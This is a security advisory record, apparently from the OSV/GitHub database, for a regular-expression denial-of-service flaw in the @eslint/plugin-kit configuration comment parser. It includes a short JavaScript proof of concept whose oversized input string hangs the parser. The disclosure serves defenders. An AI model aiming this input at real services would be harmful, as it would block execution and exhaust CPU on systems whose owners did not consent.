{"id":"GHSA-xffm-g5w8-qvg7","revision":"3686225374474841b4c890eabe08b611","records":[{"revision":"3686225374474841b4c890eabe08b611","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xffm-g5w8-qvg7","aliases":[],"title":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","description":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","state":0,"publishedAt":"2025-07-18T20:39:12+00:00","modifiedAt":"2026-09-10T03:50:26.3940425+00:00","affected":[{"ecosystem":"npm","name":"@eslint/plugin-kit","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.3.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7","https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805","https://github.com/eslint/rewrite"],"sourceUrl":"https://github.com/advisories/GHSA-xffm-g5w8-qvg7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xffm-g5w8-qvg7","identifiers":["GHSA-xffm-g5w8-qvg7"]},"retained":false,"historicalAffected":[]}],"coverage":[]}